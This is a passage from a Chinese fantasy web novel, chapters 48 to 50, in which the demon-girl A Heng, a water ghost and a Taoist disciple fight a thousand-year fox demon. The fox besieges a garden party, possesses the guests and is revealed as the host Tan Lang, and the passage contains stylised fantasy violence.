贺州到底在哪儿? 小神仙怎么还不回来。 正是此时,脚下忽然隐隐震动,阿姮敏锐地垂眸,只见花丛颤动,不远处的积玉似乎也瞬间察觉到了些什么,紧接着,地面开始剧烈震动,廊庑哐啷作响。 霖娘根本站不稳,她拉住阿姮:“这是怎么了?!” 天边乌黑的浓云漫卷而来,遮盖住熠熠阳光,一时间飞沙走石,地动山摇,积玉背后的金剑震动,他一把握住剑柄,猛然盯住天边的浓云:“好重的妖气!” 阿姮举目望去,天边浓黑的云涌来,渐渐凝成一个形状,阿姮歪起脑袋:“那是什么东西?” 赤戎生灵单薄,霖娘也从没有见过这东西。 “是狐狸……” 积玉说着,他的脸色忽然变得无比难看,“不好!” 阿姮转头看向他:“什么不好?” 积玉神情凝重,面沉如水:“我师父出山便是为了捉拿从东炎国京都的玄宁观中出逃的千年狐妖,那狐妖道行本就高深,又在京都大开杀戒,其法力更是大涨,师父追其行踪来此,又追去贺州,昨夜师父传信令小师叔前去贺州共同诛杀狐妖,可这狐妖……竟然出现在这里!” “难道……” 霖娘望着那天边漫卷的黑云,反应过来:“难道此前追杀谢家两位小姐的,是这狐妖?” 可这狐妖为什么要追杀那两个谢氏女呢? 天与地仿佛都在剧烈的摇动,园中花丛倾倒,廊庑散架,连假山顽石都有断裂,一时烟尘四起。 阿姮回头,散架的廊庑中并不见谢澹云与谢朝燕她们,她们应该已经回到那阁中去了,可此时在阁中显然更危险。 “跟我抢?” 阿姮盯着空中那黑乎乎的东西,她双眼变得暗红。 那黑气弥散开来。 阿姮的胸腔里那团火焰一瞬烧得炽盛,她气息一紧,一手摸着胸口,终于明白过来:“原来火种在你这里啊。” 她面上浮出笑意,立即身化红雾涌入天际。 “赵姑娘,你快去阁中看看!” 积玉抽出金剑,对霖娘喊道。 霖娘立即化为流水,飞去香阁。 天上的黑云仍然是狐狸的形状,阿姮穿行其间,浓郁的黑几乎模糊她的视线,她感受不到这狐狸的本体何在,却听见一阵嘤嘤呜呜的狐嗥,竟然莫名像人类的笑声,却又有别于人的语调,饱含瘆人的阴冷。 “天地如明,本相即现!”积玉化出一道符咒,打向黑气深处,金光扑散开来,却被漆黑吞没干净,积玉心下一凛,果然是千年狐妖,竟然连这药王殿的药咒都找不出他的本相何在。 积玉提金剑跃去空中,黑色的浓云涨满整片天空,他被包裹其中,金剑劈下道道剑气,却仍劈不开浓厚的云层。 “阿姮姑娘!” 积玉见云中有淡淡的红雾弥漫,他立即喊道:“快!我们快去救人,先离开这儿,这狐妖并非是你我能够对付的!” 阿姮也发现了这一点。 她穿行黑云中,却始终没有找到那狐狸本相,而狐嗥声却在她耳边不断地响起,胸中的火焰燃烧得越来越猛烈,她耳边开始出现很多杂声。 阿姮听得烦了,一手抓破自己的胸膛,将胸腔里那团黑气所迸发的火焰一把掐灭,耳边的杂声顿时偃旗息鼓,她抽出手来,透明的水珠顺着她胸前的破口不断往下滴落。 她瞥见积玉金色的剑气,便立即向他去。 但很快,她发现自己竟然怎样都到不了积玉身边,而那边的积玉也察觉到了这一点,他立即喊道:“这里好像不知什么时候多了个阵法!” 阵法? 浓云几乎将这里笼罩完全,这的确是只有阵法才能做到的。 “出来。” 阿姮神情变得阴冷,她抬手拔下发间的木簪,簪子瞬间在她手中褪去花瓣,化为一根焦黑的枯枝。 她扬起焦枝,一双暗红的眼扫向四周:“你若真有本事,便出来与我打一架,你要是不出来,等我找到你,我一定剥了你的皮。” 浓云滚动,狐嗥声声。 像是笑声。 嗥声落在她耳边,凝成她听得懂的风音:“那,你找啊。” 与此同时,一股气流猛然撞向阿姮。 阿姮后仰翻身,手中万木春一扬一劈,金光乍现,气流顿时消散无形,黑云之中短暂被这金光照亮。 那风音又在阿姮耳边响起:“你手里的是什么?” “你明明是妖邪。” 风音似乎有些费解:“可你手里竟然握着一件神器么?” “想知道?你出来,我告诉你啊。”阿姮在滚滚浓云里凝视四周,她面上带笑,双眼却冷得出奇,手中万木春再度一挥,万丈金芒冲向四方气流。 顿时浓云之中响起巨大的爆裂之声。 积玉被散碎的气流冲撞,整个人飞出去,却陡然撞上了无形的壁,那似乎正是这阵法的壁垒。 这狐妖已然用阵法将这整个檀园都封闭起来。 积玉望向浓云深处,却始终找不到阿姮的身影,他正要大声喊,却见又一阵金光爆裂,他双眼顿时模糊,忍不住揉了一下眼睛,赶紧抬头,只见红雾顺着金光冲入更高的云霄,很快在高空重新凝成那女子的身影。 她浑身浓烈的红雾中夹杂熠熠金光,黑云不断变换,若江海洪流,声势滔天地奔涌向她。 第49章 第49章 “小神仙,我的壳子要化掉了…… 香阁中珍馐美馔散落满地, 桌案倾倒,木梁歪斜,男男女女惊慌失措,一名浑身酒气的士子被人撞到在地, 四肢瘫软, 仰头只见乌木隔扇砸下来, 他还醺醺然有点没反应过来,一只手猛然抓住他臂膀,将他拽了过去。 士子抬眼, 见面前站着那紫衣郎, 隔扇砸在他后背, 使得他原本挺拔的身躯有些前倾, 士子猛然酒醒,忙唤:“檀兄!” 奴仆黄安勉强稳住身形过来将隔扇推倒在地:“主人, 您没事吧?” 霖娘在香阁门口凝出身形, 见其中宾客因剧烈的地动而无不踉踉跄跄难以站稳,她立即抬手以水波摧断槅门, 使出口大敞:“快!都出来!” 檀郎抬首, 见流水如瀑, 包裹承托起整个香阁的梁木, 他立即喊道:“诸位!快走!” 霖娘明显感觉到天上地下有一种相互施加挤压的蛮力, 她苦苦支撑着,见众人几乎是连滚带爬地从香阁里出来,她正要收了术法, 却见檀郎与奴仆黄安拨开碧波纱幔,从中扶出来二位谢小姐与她们的奴婢。 霖娘忙稳住心神,憋足一口气, 努力支撑起整个香阁,地动实在剧烈,谢澹云与谢朝燕姐妹脸上,身上都有不同程度的擦伤,好不容易踏出香阁,两人齐齐回头,只见霖娘身影陡然化水,顷刻,整个香阁轰然倾塌下去,连廊倒了一片,将烂漫的秋菊花丛碾压,一片尘土飞扬。 霖娘在人群中重新凝聚成形,她后怕似的拍了拍胸口,男女宾客们各有各的惶然,此时他们方才发觉四周竟然灰蒙蒙的,放眼望去,那些原本鲜艳若锦的花木在如此昏暗冷雾之中,虽仍尽态极妍,却有一种糜烂的阴冷。 目之所及,山塌石倒,幽径尽毁,满园的蓬勃生机不再,幽暗的光线,瘆人的寒风,无不挑动众人紧绷的神经。 再看空中,黑云漫卷,烟气若一只巨大的狐狸形状,将整个檀园笼罩得严严实实,有女客立即大声惊叫:“妖怪,是妖怪!” 黑云滚动,气流乱飞,似乎在用尽力气纠缠着什么,这时,大片金光忽从浓云之中迸出,散若烟火,众人几乎被这金光灼目,视线模糊片刻,他们定睛一看,那丝丝缕缕的金芒之中,红雾朦胧缠裹,勾勒出一白衣少女的身影,她暗红的双目在浓云之间扫过,张口却是嘲笑:“看来上清紫霄宫的药箓也不过如此啊。” 积玉手握金剑,方才劈开一道黑气,听见这话,他循声回头,却只在茫茫黑云中见到淡淡的红雾,他拧起眉头:“都什么时候了还说风凉话!你有本事你倒是找他出来!” “我在找啊。” 阿姮语气缓慢,手中招式却快若闪电,她胸口中滴滴答答不断淌出的水珠化为点点雨露,自云中降下去,一时满园风雨。 万木春枝尖的金芒与红雾交织在滚滚浓云之中,她胸膛里那颗混沌浊黑的东西又开始隐隐发烫,阴冷的风不断拂过阿姮脸颊,她抬起眼帘,耳边杂声再起,混合那一道风音低低地响起:“你我本为同类,何必相残呢?” 阿姮稍稍侧过脸,目之所及,浓云无边,她忽然张口:“我一无皮囊,二无毛尾,与你算哪门子同类?” 那风音在她耳边低声笑,难辨雌雄:“不论有无皮囊,有无毛尾,你我都是妖邪,我们生来便与人类不一样,难道你以为自己与人是同类么?他们可不这么认为,就像……那个拿着金剑的上清紫霄宫弟子,他并不信任你,不是么?这些人类,其实比我们要狡猾得多,你以为你和他们在一块儿,能得到什么?” “这么说,”阿姮看向那在黑云之中持金剑与气流相抗的积玉,“你知道我想要什么?你可以帮我得到?” “我怎么会知道你的想法呢。” 风音轻声诱哄:“但若你说出来……我会帮你。” “哦。” 阿姮点了点头,似乎一副颇有兴趣的模样,那风音的笑声变得兴奋起来,连同阿姮胸腔里的那团东西也欢欣跳跃,阿姮垂眸,感觉到胸中灼烧的刹那,她猛然抛出万木春,双指横在胸前,红雾涌动,催动万木春枝尖势如破竹地划开层层云波,强烈的剑气劈向东南,她双眸一眯,敏锐地察觉到那散开的烟气中有一道剪影闪过,她冷声喊道:“左边!” 积玉立即反应过来,沾过药粉的手在半空化出一道金光药箓打出去,药箓“砰”的一声烧成缕缕金芒四散开来,积玉明显听到风中的狐嗥陡然尖锐,随后皮肉被灼烧的味道弥漫开,积玉只觉阴冷的风迎面而来,刺得他双目生疼,积玉本能地以金剑相抵,剑气却陡然被狂风击碎,积玉心下一寒,却觉腰间一紧,低头见红雾若缕,猛然将他拉拽开。 积玉抬头,数道尖锐的气流穿云而过,又融化其中。 他转过脸,那白衣少女悬身金芒红雾之中,瞥来一眼,他腰间的红雾瞬间消散。 山摇地动更加剧烈,狂风席卷,浓云密布。 很显然,狐妖发怒了。 积玉低下头,见地上那些男男女女乱作一团,个个倒在地上站不起身来,他明显感觉到浓云不断往下压,他立即抬手,一葫芦凭空出现在他手中,抛洒出淡金色的药粉,随后他趁阿姮劈散数道气流的刹那,身体下坠,落在地上,双手结印,积玉坐在地上,口中念道:“昭昭天道,四海光明,浩然之气,我道无垠!” 飞扬的金粉很快凝成一个金光淡淡的法罩,金色的符文在半透明的法罩上不断变幻,积玉冲天上的阿姮喊道:“快下来!” 阿姮身化红雾,瞬息钻入法罩的缝隙中,黑气紧跟其后,而符文闪动,缝隙融合,黑气被阻挡在外,“砰”的一声,撞上法罩。 积玉浑身一颤,他绷紧下颌,强撑住结印的姿势纹丝不动。 阿姮落在地上,化出身形,她仰头见黑色的气流不断在外冲撞法罩,再回过头,见积玉强撑住一副身骨,浑身青筋紧绷,她几步走到他面前:“哎,你能撑多久?” 积玉咬着牙:“不知道。” 面对一个大有所成的千年狐妖,积玉年纪轻轻,哪里敢妄自断言。 “檀公子!” 谢澹云惊慌的声音忽然响起。 阿姮回过头,那两名谢氏女扑倒在绿茵花丛里,正惊魂未定地回头望向那鹅卵石径上,破碎的山石砸下来铺了一地,檀郎与黄安等几个奴仆正被压在碎石底下。 “檀兄!”有士子陡然梦醒一般,连忙与身边几个人赶紧前去扒开乱石,将檀郎与他的奴仆解救出来。 阿姮的目光落在檀郎身上,他似乎是被山石砸晕了过去,阿姮敏锐地察觉到一股血气,她目光下移,果然看到他小腿一片血肉模糊。 他血的味道并不好闻。 准确地说,几乎所有食用荤腥的人类的血都不算好闻。 “赵姑娘!” 积玉身躯未动,往那边看了一眼,唤霖娘道:“外面风雨不停,你们快扶檀公子去廊上暂避!” 因为积玉的药箓阵法,地动已止,但众人仍为方才的屋塌房倒而惊惧,一时间都不敢去近处的廊庑上。 霖娘心里却明白,若积玉没有把握,是绝不会这么叮嘱的,但她才转过身,却见谢澹云、谢朝燕她们已扶着昏迷不醒的檀郎去了没有倾塌的廊庑上,随后又回转身来,与贴身婢女一道又将受伤的黄安等檀园奴仆扶过去。 “园子里可有备下止血的药?” 谢澹云问黄安。 黄安被山石砸中,吐了好几口血,这会儿说话都有些艰难:“有是有的,却,却在……西边的小轩里。” “小繁,走。” 谢朝燕听了,立即直起身。 小繁脸色煞白,她拉住谢朝燕:“小姐,危险,危险啊……我们还是……” 只这么片刻,谢朝燕见谢澹云从她身边掠过,快步往西边去,她立即丢开小繁的手,紧跟其后。 “小姐!” “小姐!” 小繁与香豆焦急地喊。 “我去看看她们!”霖娘说着,便跟了上去。 阿姮瞥了一眼她们三人的背影,灰蒙蒙的雾气中,她将万木春投掷在地上,枝尖瞬间嵌入地砖,她盘坐地上,暗红的雾气从她指尖萦绕去万木春周身,顿时道道金芒散开,与红雾相缠,流向法罩。 积玉明显没有那么吃力了,他一下看向她:“你……” 阿姮烦透了,谢氏女的执根不能强挖,她自然要保住她们的命,阿姮一点也不想跟积玉说话。 但积玉见她胸口不断渗出水珠,而这场天雨似乎也是因为她胸腔破口流出的水滴所致,积玉眼见她不断以妖法催动神器,不由说道:“即便这神物认你,可你的妖法终不能与神力相融,你再用力催动它,会遭到反噬的!” “所以啊,” 阿姮看都懒得看他一眼,淡淡道,“你还不想办法告诉小神仙?” “狐妖的阵法铺天盖地,我即便有心传信,如今也是传不出去的。” 积玉摇了摇头,神情无比凝重,他扬起头,望向法罩外越来越浓黑的气流:“不过,我相信师父和小师叔他们一定会有所察觉。” 如今只能等。 可到底要等多久呢? 阿姮耳边的杂声不断,那些声音在斥责她,在嘲讽她,它们仍不死心地诱哄她,而她此时却腾不出手再往胸腔里抓握一把,她冷着脸,垂眸盯着自己破损的胸口。 没有人类的血。 只有晶莹的雨露,湿润她的衣襟。 阿姮闭起眼,她听到凛冽的风声,轰隆的雷声,还有雨露不断从她衣襟滴落的声音,她听到那两个谢氏女回来了,霖娘也回来了,她帮着谢氏女给檀郎,还有那些受伤的奴仆们上药。 廊庑上,小繁与香豆跪在自家小姐面前,双双垂泪: “对不起小姐……” “有什么好对不起的?”谢澹云跪坐在廊上,望着一张软席上昏睡不醒的檀郎,对香豆说道,“恐惧是人之常情,明知道危险,我也不能要求你一定要跟着我去,香豆,你好好待着,我也放心些。” 谢朝燕坐在另一端,听着谢澹云的话,她脸上没什么表情,只朝小繁扬了扬下巴:“你起来,别没出息,你吓得腿软,就上一边休息,我没怪过你。” 阿姮有一会儿没再听她们说什么,只知道她们在廊庑上对那檀郎悉心照料,无微不至,不知多久,她鼻尖动了一下,只觉得鼻息之间满是苦涩的药香,她后知后觉,这便是药王殿的药箓的味道。 阿姮睁开眼,满目昏黑。 一点烛火忽然亮起,阿姮缓缓转过脸,只见廊庑上谢朝燕点燃一盏灯烛,那橙黄的烛火映照她云鬓钗环,那张脸虽然苍白,却俨然一副雨露濯洗过的娇艳。 阴寒的风吹来,那烛焰闪烁偏向一边,猛然一声尖叫响起,阿姮立即看去,淡淡雨雾中,宾客里有一女子忽然扼住自己的脖颈,双目瞪大,踉跄后退数步,一下栽倒在那片花丛中,众人惊恐地退开,只见花丛里的女子颈项血肉模糊,喉咙明显有两个血洞,汩汩的血液不断涌出,浸染满丛残花。 她一动不动,已然没了声息。 “阿芸!” 一名士子认出她竟然是自己的亲妹,立即恸呼。 “这是怎么回事?!” 霖娘不敢置信。 阿姮蓦地看向谢朝燕仍持在手中的灯烛,那烛焰弯折,火苗仍然指向那丛中女尸的方向,阿姮立即冷声道:“灭烛!” 谢朝燕似乎被吓得呆住了,她好不容易反应过来,却见谢澹云凑过来,吹熄了她手中的烛焰。 顿时黑暗笼罩四方,唯有万木春与积玉的金剑散发浅淡的金芒。 “这家伙竟然如此懂得五行之术!” 积玉心中骇然,懂五行之术并不可怕,可怕的是,这狐妖竟然可以借烛火杀人! 阿姮不知道什么五行,她只是本能地觉察出那烛焰的诡异,她立即问积玉:“什么是五行?” “金木水火土,即为五行,精通五行之术,便能以五行修身,以五行杀人,”积玉的脸色十分难看,“哪怕他越不过我药箓法阵,也可以借五行,克人命。” 此时,法罩外似乎什么声音都没有了,连风声都停止,那狐嗥再也没出现过,但宾客已然乱了,他们瑟缩成一团,时刻害怕着那只无形的手不知什么时候便来夺取自己的性命。 “救命,救命啊……” 他们无助地喊叫。 然而偌大一个檀园仿佛与天地隔绝一般,他们是叫天天不应,叫地地不灵。 过了很久,久到阿姮的眼睛再一次看不见颜色,她的鼻间再没有药箓的味道,浸泡了花丛那女尸的血泥又吞噬一人。 积玉大声叮嘱他们千万不要乱跑,可这些人已经被刺激得癫狂起来,他们四下逃开,霖娘好不容易将他们逮回来,却发现失踪了两个士子。 最终,霖娘在树上找到他们被树枝贯穿胸腹的尸体。 霖娘吓得脸色煞白,脚步虚浮地回来,积玉见状,便道:“赵姑娘,你快把他们绑起来!” 霖娘却毫无反应。 “赵姑娘?” 积玉又喊了一声。 阿姮一瞬看向霖娘,见她双目似乎无神,阿姮立即施术单手结印,支撑着万木春,腾出另一只手来,红雾从她指尖涌向霖娘的刹那,霖娘身化流水,往后一跃。 红雾追她而去,迅速缠住她的腰身。 霖娘浑身流水涌动,额角银鳞闪烁,她无神的双目阴冷极了,见状,积玉立即明白过来:“那妖孽竟然利用起赵姑娘了!” 霖娘是水鬼,属水,有万顷黑水河水护身。 “一定是方才她看到树上的尸体吓得心神动摇,这才被那妖孽钻了空子!”积玉说道。 “赵姑娘!” 他连声喊道,可霖娘却一点反应也没有。 阿姮看着霖娘朝那些瑟瑟发抖的男女们走近,他们四散逃去,霖娘抬起手来,流水若绳,很快将他们一个个地都给拖了回来。 “救……”一士子惊恐的声音瞬间被流水淹没,他整个人都被水气裹住,像置身于涛涛江海之中,窒息的感觉猛烈挤压他的胸肺。 红雾若烈焰一般袭来,击破水气,灼烧出一片淡淡的热雾,那红雾很快将霖娘的双手缠住。 狐嗥又响起,盘旋在整个檀园。 阿姮一手催动万木春,一手制住霖娘,她胸中疼痛难当,脸色十分难看:“霖娘,你难道真想杀人吗?” 阿姮冰冷的声音落在霖娘耳边,像从很远很远的地方游荡而来,好一会儿才猛然触及她的心神,霖娘浑身一震,一双眼睛很快迸发神采,她迷茫地望向阿姮,却见她胸口濡湿,几乎要变得透明,她大惊:“阿姮,怎么会这样……” 无止尽的昏黑中,阿姮再一次嗅到药箓的味道,她眼中见到诸般颜色,她却无暇多看霖娘一眼,忍着胸中剧痛,双手催动万木春。 谢澹云与谢朝燕将檀郎挪到附近完好的屋舍中,又将霖娘从积玉衣袖中掏出来的符箓贴到门上,众人这才全都躲进屋中。 霖娘正要进门,却被几人“砰”的一声关上槅门,将她阻挡在外。 霖娘愣在门口。 “你们做什么?”谢朝燕原本坐在檀郎床前,见此,她站起身往前走了几步,拧起秀眉,怒视门边的几个士子。 “她方才想杀了我们!” 一个士子满脸苍白,他声音都在发抖。 “那是因为妖孽作祟,又不是她的本意,她帮我们躲过那么多灾祸,你们怎能如此对她?”谢朝燕说道。 “不管是不是她的本意,她都差点杀了我们!” 另一个闺阁小姐抱着自己的婢女,颤声道:“再说,她……她又不是人,她不会死。” “你们是人,说的话却不像人话。” 坐在床头的谢澹云忽然说道:“我以为圣贤之道不论男女皆该自明,诸位不该汗颜吗?” “香豆,去,开门请赵姑娘进来。” 谢澹云说道。 香豆立即往门边去,可那几人根本不让,见此,谢朝燕对小繁道:“你也去!” 小繁跑了过去,与香豆两个却始终争不过那几个男人。 “你们要放她进来,那你们就出去!”一士子说道。 谢朝燕一双美目大睁,她不敢置信地盯住那人,倏尔冷笑:“世间竟有你这等无耻之徒!怎么死在外边的不是你呢?” “你!” 那士子脸色一变,他与身边人相视一瞬,猛然将门一开,直接将香豆与小繁两个婢女给推了出去。 霖娘被香豆、小繁迎面撞来,身影化为水流,又在廊下凝聚。 小繁与香豆两个其实也有些害怕霖娘,见此一幕,便更加惶然,她们回头,连忙拍门:“小姐!小姐!” 谢澹云脸色铁青:“无耻之尤!快将她们放进来!” “区区女子扯什么圣贤之道?不过吟诗弄词而已,还真一副清高骨头?”那士子冷哼道,“你们不放心,就出去陪着她们好了!” 说罢,几个男子便要来强拉谢氏姐妹,谢朝燕直接拔下髻边金钗:“我看你们谁敢!” 那黄安作为檀园主人的近身奴仆,此时靠在柱子边,见状,便立即扶着柱子起身,招呼其他奴仆道:“枉我主人平日诚心待你们,想不到你们竟然是这等货色,实在不配为我檀园座上之宾,依我看,该出去的是你们!” 眼见这帮奴仆挡在两位谢小姐面前,几个士子面面相觑,脸色各有各的难看,谢澹云胸中怒火一起,她便要起身,手却忽然被人拉住。 那样冰冷的温度,令谢澹云下意识浑身一颤,她回过头,只见躺在床榻上的紫衣郎已经睁开双眼。 她与之四目相视。 檀郎轻轻拍了拍她的手背,张口,嗓音有些喑哑:“檀某与诸位为友,以为与诸位十分有情义,却不想生死关头,却是如此局面。” “檀兄……” 士子们见他醒来,先是一喜,又听他这样说,个个面色难看,羞愧起来,一句话都说不出了。 “檀公子。” 谢朝燕回头,立即走到床前去,这一刹那,谢澹云立即从檀郎手中抽回手,站起身,见檀郎的目光向她看来,谢澹云垂下眼帘。 “朝燕小姐不必担心,我并无大碍。” 檀郎看向面前忧心忡忡的谢朝燕,温言道。 “都怪我们,若不是为了救我们,你也不会……”谢朝燕看向他那条受伤的腿,眼中忍不住积起泪花。 檀郎见她落泪,似乎怔了一瞬,随后他笑了笑:“本是檀某对两位小姐有愧,若非我请你们前来赴会,也不会有这样的祸事。” “黄安,快,放外面的人进来。” 檀郎又对黄安说道。 黄安领命,立即让受轻伤的奴仆去开门,那几个士子不敢再拦,十分忐忑地避到一边去。 槅门“吱呀”一声打开,小繁与香豆赶紧跑了进去,阿姮远远往门内看去一眼,见那檀郎卧在床上,腿上缠着的细布被血红浸湿。 他的血,真的好腥臭。 “赵姑娘,快进来!” 谢朝燕一把将在外面的霖娘给拉了进去。 霖娘一进去,那几个士子与小姐们都远远地避去墙角里,谢朝燕不理他们,将霖娘拉着坐下,随后又去床前照看檀郎。 檀郎似乎伤得很重,一张脸惨白,更显得那双眼睛清透莹润,大约是因为疼痛,他神思其实并不太清醒。 霖娘等在屋中,总觉得煎熬,因为墙角里总有那么多警惕的目光盯着她,更因为外面的阿姮和积玉,也不知道他们还能坚持多久,她抿紧唇,时间一点一滴过去,屋子里再也没有死人,谢朝燕与谢澹云领着自己的婢女交替照顾着檀郎与黄安等人,不知昼夜。 檀郎发起热症,高热不退,早就人事不省,墙角里惊惧交加的男女撑不住眼皮打架,不知不觉睡去了,小繁与香豆两个婢女也累得睡着了,谢澹云将自己的披风盖在香豆与小繁身上,回过头,见谢朝燕坐在床前,昏昏欲睡。 谢澹云步履很轻地走到另一边床头坐下,取下来檀郎额头上的巾子,在盆中过了水,拧干。 谢朝燕听到滴滴答答的水声,立即睁开眼睛,只见坐在另一边的谢澹云将拧干的巾子放到檀郎的额头,檀郎眉头紧锁,也不知沦陷在怎样的梦中,忽然一把抓住谢澹云的手。 谢澹云一顿,没有动,她侧过脸,对上谢朝燕的目光。 谢朝燕一言不发,屋中一点儿声音都没有,她看到檀郎露出锦被的手,便伸手去掖被子,却碰到檀郎的手,他那样警惕,那样大力地抓住她的指节。 也许,他在做什么噩梦吧。 谢朝燕望着他那张被汗湿的,惨白的脸,心中想道。 屋中没有点烛火,只有槅门上的符箓发出淡淡的金光,但谢朝燕与谢澹云几乎同时被一道光束晃了眼。 她们下意识地抬首。 只见不远处的香案上,赤金的香炉闪烁微光,其中白烟若缕,不断散出,那烟气逐渐凝成一只狐狸的形状,那狐狸随烟气而动,掌控着她们的目光。 慢慢的,她们的眼睛被乌黑的颜色涨满。 霖娘一瞬不瞬地望着槅门,闷雷翻卷,炸响天际,霖娘浑身一颤,接着,她听到槅门外,积玉沙哑焦急的声音响起:“阿姮姑娘!你怎么了?” 霖娘心中一跳,她立即扑到槅门边,透过门缝,她隐约看到那片光洁的鹅卵石地面上,积玉始终端坐在风雨之中,金剑在空中乱舞,而他身边那个白衣少女浑身几乎被水浸透,她的身躯不断流淌下成泛着淡淡银光的水珠。 “阿姮!”门上的符箓此时已经结成阵法,霖娘不敢再贸然开门,怕放进来什么,心中焦急万分。 阿姮听不太清霖娘的声音,她后知后觉地往自己身上看去,脸上露出烦恼的神情,启唇轻叹:“壳子要化掉了。” 烦死了。 阿姮说不清楚,为了谢氏女的执根而牺牲自己的壳子到底值不值得,也许根本是不值得的。 “啊?!” 积玉慌了:“这个时候你可千万别化啊!!!我快顶不住了!” 可壳子化不化并不是阿姮可以决定的,她掏破自己胸口,又承受了万木春的反噬,壳子不化才怪,阿姮勉强还使唤得动这双手,她深深凝视面前被烈焰红云缠裹,道道金光闪烁的万木春:“我迟早会让你成为我的东西。” 双手快要化掉了。 雨雾弥漫,阿姮的容貌都开始变得模糊透明,忽然,她仅剩的一点知觉感受到手指上滚烫的热意,阿姮迟缓地低头,只见食指上那颗浑圆的珠子正闪烁光芒。 紧接着,她听到一道熟悉的声音: “阿姮姑娘?” 嗓音的主人,似乎永远那么沉静。 “小师叔!”积玉猛然激动起来,“那狐妖使了调虎离山之计,他的目标根本就是谢家小姐!我们,我们快撑不住了!” 霞珠里,程净竹的声音有些肃冷:“我与师兄很快就到。” 程净竹忽然又唤了声:“阿姮?” 阿姮的手也开始融化,她张嘴: “小神仙,我的壳子要化掉了,你一定……要快点来啊……” 阿姮整个身躯都化为了透明的水色,很快融化成银光粼粼的水泽,水中,暗红的雾气盘旋在那颗霞珠旁边,幽幽浮浮。 积玉大惊失色:“小师叔!!阿姮姑娘化了!” 第50章 第50章 “不听不听,小神仙念经………… 透过碧漆菱花槅门, 霖娘亲眼看见阿姮整个人变得透明,很快融化成流水,银光凛凛的水珠颗颗激荡,脆声若雨。 霖娘心中焦急, 寂寂室中却猛然迸发一阵尖利的惊叫, 霖娘一下转过脸, 发现瑟缩在墙角的那些男女客人都面露惊恐地望着她。 霖娘低头,只见自己长发如藻,长长拖地, 半截身躯化为流水, 虚悬半空, 地上一片潮湿的水泽, 她看不见自己此时的脸,但她想如此本相毕露, 她的脸色一定是胭脂都掩盖不了的惨白, 她伸手触摸额头,只觉鳞痕如织。 霖娘还没明白自己为何忽然控制不住本相暴露, 却见那些男女眼球忽然涨满黑色, 他们看着她, 目光似乎仍旧惊恐, 又十分呆滞。 一名士子缓缓站直身体, 像一只肢体僵硬的木偶,他黑漆漆的眼睛盯着霖娘,微微偏头, 似乎在听着什么声音,可霖娘凝神之下,却什么也没听到, 接着,她看到那士子张口,像在重复他所听到的声音:“杀了她……” 他身后,肢体僵硬的男女们重复道:“杀了她……” 就连谢澹云与谢朝燕的两个贴身奴婢也呆滞地重复着这三个字。 数双漆黑阴冷的眼睛一瞬不瞬地盯着霖娘,他们身上涌出淡淡的烟气,像遇风而动的焰,剧烈闪烁着,散发出灼人的温度。 霖娘脊背一寒,她立即转身,手方才触摸到槅门,男男女女很快奔来将她包围其中,霖娘抬手施术,却惊觉自己根本使不出任何术法,她躲开几双探来的手,匆忙往室中一望,隔着绿玉珠帘,她望见那香案上的赤金香炉,白色的烟气若缕,游动而成一只狐狸的形状,霖娘顿时惊出一身冷汗。 想不到积玉的阵法依旧挡不住这狐妖借五行行凶! 霖娘无暇再看那狐狸烟一眼,她被这些男男女女越困越紧,一时间躲无可躲,而绿玉珠帘摇摇晃晃,轻轻碰撞着发出清音。 帘内,谢澹云与谢朝燕在床前各坐一边,纹丝不动,仿佛根本没有听见门那边的声音。 床上,檀郎似乎仍高热不退,以至于颊边浮红,却衬得他颈项肌肤苍白细腻至极,槅门那边杂声不断,他眼睫轻轻颤动一下,缓缓睁开双目。 霖娘施展不出任何术法,男男女女生出如狐狸般尖利的指甲抓挠过来,她顿时像被烈火灼穿神魂一般,浑身剧痛。 再看人墙之外,黄安与那些受伤的檀园奴仆们竟不知何时已经站起了身,他们就好端端地立在不远处,黄安那双眼睛似乎更加上挑了,狭长的眸子半眯着,明明是人的五官,却怎么看都有一种非人的诡异。 而他身后的那些檀园奴仆们亦是如此,微微躬着身躯,像并不习惯于这种站立的姿态,齐齐偏着头往槅门这边看来,他们的五官竟然变得惊人的相似,一样的上挑眼,一样的稀疏眉,甚至一样的尖嘴。 明明是一副副人的皮囊,却根本是非人的相貌。 碧玉珠帘内,檀郎伸出修长的双手,坐在床边的谢氏姐妹顿时将自己的手掌送到他的掌心,檀郎微微收紧手心,他泛白的唇轻勾,双眸流光溢彩。 “二位咏絮之质,奈何浊尘泥淖不解卿卿白雪风致,”檀郎嗓音有些喑哑,似乎还很虚弱,他轻轻叹了一声,“我知道,你们心中有苦难言。” 他话音才落,谢澹云与谢朝燕眼眶几乎同时落下泪来。 昏暗的光影中,美人垂泪,恰若红药碧桃沾露欲滴。 檀郎凝望着她们的脸,露出淡淡的笑意,他的声音更轻:“我也明白你们心中所求,你们……是不是很期望我可以让你们所求圆满?” 谢澹云与谢朝燕脸上没有任何表情,两双漆黑的眼睛却紧紧凝望着他,这是一种无声的渴求,檀郎似乎读懂这种渴求,他露出满意的神情,随后,他缓缓松开她们的手,双手触摸她们的脸颊,霎时,她们偏头,用脸颊不断轻蹭他的掌心。 檀郎的指腹轻轻擦过她们细腻柔滑的脸颊,触摸她们的鼻尖,随后,停顿在她们的唇角,今日她们是上过妆的,唇上的鲜红颜色晕开他的指尖,他的声音温和极了:“那么,你们可甘愿将你们的舌头割下来给我呢?” 赤金香炉里浮出的淡淡烟气转瞬化为两柄利刃,飞去谢澹云与谢朝燕的面前。 霖娘简直不敢相信自己所看到的一切,她心中阴寒极了,眼见谢澹云与谢朝燕缓缓抬起手,霖娘猛然从布兜里掏出来一堆糕饼吃食砸向面前众人,她发了疯似的抓打他们,转身猛地拍门:“阿姮!积玉仙长!” 数双手同时抓向霖娘后背,她明明并无皮囊,却有一种被无数尖利的指甲划破血肉,削断骨髓的剧痛之感,她忍不住尖声痛叫:“啊!” 天上雷电交缠,遮掩了门内的动静,但阿姮依旧敏锐地察觉到一声短促的尖叫,她听出那是霖娘的声音。 积玉只觉面上一阵凛风拂过,他转过脸,见暗红的雾气裹着那枚霞珠,猛然冲向不远处的房舍槅门,积玉立即喊道:“阿姮姑娘!门上有药箓,不可硬闯,你会受伤……” 积玉话还没有说完,便见红雾轰然冲破碧漆槅门,门上的药箓金光阵应声破碎,化为缕缕剑芒,交错袭去,冲散红雾。 阿姮没有了壳子,感觉不到疼,但她依旧被药箓所化的剑气震得神志零散,好不容易凝神看去,只见霖娘被众人围困其中,一副身躯不断冒着热雾,像水气快被烈火灼干,有人踩着她长长的头发,将她几乎钉在地上,撕扯着她的脸皮。 